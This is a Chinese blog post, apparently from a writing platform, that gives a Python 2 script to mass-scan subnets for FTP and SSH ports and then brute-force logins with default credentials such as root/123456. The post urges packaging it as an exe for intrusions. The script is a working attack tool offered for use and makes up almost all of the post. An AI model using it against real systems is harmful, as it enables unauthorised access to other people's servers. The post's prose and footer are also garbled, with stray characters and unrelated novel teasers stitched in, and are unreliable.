端口掃描+FTP爆破+SSH爆破 小公舉

滲透時請pyinstall打包成單個exe來食用!味道更佳矗蕊!

import socket
from multiprocessing import Pool
import sys, os, time
from ftplib import FTP
from paramiko import SSHClient
from paramiko import AutoAddPolicy

usernames = ["root"]
passwords = ["root","123456"]
ports = [21,22]

def ssh_login(hostname,port,username,password):
    ssh = SSHClient()
    ssh.set_missing_host_key_policy(AutoAddPolicy())
    try:
      ssh.connect(hostname, port, username, password)
      ssh.close()
      print hostname+"==>"+username+":"+password
    except Exception, e:
      status = 'error'
    


def ftp_login(hostname,username,password):
    try:
        ftp = FTP(hostname)
        ftp.login(hostname,username, password)
        ftp.quit()
        print hostname+"==>"+username+":"+password
    except Exception, e:
        pass

def anon_login(hostname):
    try:
        ftp = FTP(hostname) 
        ftp.login()
        ftp.quit()
        print hostname + "==>anon"
    except Exception, e:
        pass


def portcheck(target):
    ip, port = target.split(":")
    try:  
        cs = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        cs.settimeout(float(0.5))
        address=(ip, int(port))
        status = cs.connect_ex((address))
        if status == 0:
            print ip + ":" + port 
            return ip + ":" + port 
    except Exception ,e:   
        print "error:%s" %e  
    finally:
        cs.close()

if __name__ == '__main__':
    # portscan
    if len(sys.argv) == 2: 
        print "Port Scaning ..."
        ip = sys.argv[1] + "."
        targets = []
        for ip_c in range(254):
            for ip_d in range(254):
                for port in ports:
                    targets.append(ip + str(ip_c) + "." + str(ip_d) + ":" + str(port))
        pool = Pool(100)
        results = pool.map(portcheck, targets)
        pool.close()
        pool.join()
        print "\nScan end"

    elif sys.argv[2] == "ftp":
        print "Ftp Brute ..."
        ip_c = sys.argv[1] + "."
        targets = []
        for ip_d in range(254):
            targets.append(ip_c + str(ip_d) + ":" + str(21))
        pool = Pool(10)
        results = pool.map(portcheck, targets)
        pool.close()
        pool.join()
        for hostname in results:
            if hostname is not None:
                hostname = hostname.split(":")[0]
                anon_login(hostname)
                for username in usernames:
                    for password in passwords:
                        ftp_login(hostname,username,password)
        print "\nScan end"

    elif sys.argv[2] == "ssh":
        print "SSH Brute ..."
        ip_c = sys.argv[1] + "."
        targets = []
        for ip_d in range(254):
            targets.append(ip_c + str(ip_d) + ":" + str(22))
        pool = Pool(10)
        results = pool.map(portcheck, targets)
        pool.close()
        pool.join()
        for hostname in results:
            if hostname is not None:
                hostname = hostname.split(":")[0]
                for username in usernames:
                    for password in passwords:
                        ssh_login(hostname,22,username,password)
        print "\nScan end"


?著作權歸作者所有,轉載或內容合作請聯(lián)系作者
  • 序言:七十年代末岖研,一起剝皮案震驚了整個濱河市警检,隨后出現(xiàn)的幾起案子扇雕,更是在濱河造成了極大的恐慌窥摄,老刑警劉巖,帶你破解...
    沈念sama閱讀 221,331評論 6 515
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件哨苛,死亡現(xiàn)場離奇詭異币砂,居然都是意外死亡,警方通過查閱死者的電腦和手機亿蒸,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,372評論 3 398
  • 文/潘曉璐 我一進店門蜜徽,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人,你說我怎么就攤上這事盆色∷钐蓿” “怎么了?”我有些...
    開封第一講書人閱讀 167,755評論 0 360
  • 文/不壞的土叔 我叫張陵物延,是天一觀的道長。 經常有香客問我浑吟,道長耗溜,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 59,528評論 1 296
  • 正文 為了忘掉前任燎字,我火速辦了婚禮,結果婚禮上笼蛛,老公的妹妹穿的比我還像新娘蛉鹿。我一直安慰自己,他們只是感情好榨为,可當我...
    茶點故事閱讀 68,526評論 6 397
  • 文/花漫 我一把揭開白布日川。 她就那樣靜靜地躺著矩乐,像睡著了一般。 火紅的嫁衣襯著肌膚如雪散罕。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 52,166評論 1 308
  • 那天职抡,我揣著相機與錄音缚甩,去河邊找鬼窑邦。 笑死,一個胖子當著我的面吹牛郊丛,可吹牛的內容都是我干的瞧筛。 我是一名探鬼主播,決...
    沈念sama閱讀 40,768評論 3 421
  • 文/蒼蘭香墨 我猛地睜開眼庆猫,長吁一口氣:“原來是場噩夢啊……” “哼绅络!你這毒婦竟也來了嘁字?” 一聲冷哼從身側響起纪蜒,我...
    開封第一講書人閱讀 39,664評論 0 276
  • 序言:老撾萬榮一對情侶失蹤纯续,失蹤者是張志新(化名)和其女友劉穎灭袁,沒想到半個月后,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體茸歧,經...
    沈念sama閱讀 46,205評論 1 319
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內容為張勛視角 年9月15日...
    茶點故事閱讀 38,290評論 3 340
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了涤浇。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,435評論 1 352
  • 序言:一個原本活蹦亂跳的男人離奇死亡著恩,死狀恐怖纹烹,靈堂內的尸體忽然破棺而出铺呵,到底是詐尸還是另有隱情隧熙,我是刑警寧澤,帶...
    沈念sama閱讀 36,126評論 5 349
  • 正文 年R本政府宣布音念,位于F島的核電站闷愤,受9級特大地震影響件余,放射性物質發(fā)生泄漏遭居。R本人自食惡果不足惜旬渠,卻給世界環(huán)境...
    茶點故事閱讀 41,804評論 3 333
  • 文/蒙蒙 一枪蘑、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧岳颇,春花似錦颅湘、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,276評論 0 23
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽叭披。三九已至,卻和暖如春玩讳,著一層夾襖步出監(jiān)牢的瞬間涩蜘,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,393評論 1 272
  • 我被黑心中介騙來泰國打工熏纯, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留同诫,地道東北人。 一個月前我還...
    沈念sama閱讀 48,818評論 3 376
  • 正文 我出身青樓樟澜,卻偏偏與公主長得像误窖,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子秩贰,可洞房花燭夜當晚...
    茶點故事閱讀 45,442評論 2 359

推薦閱讀更多精彩內容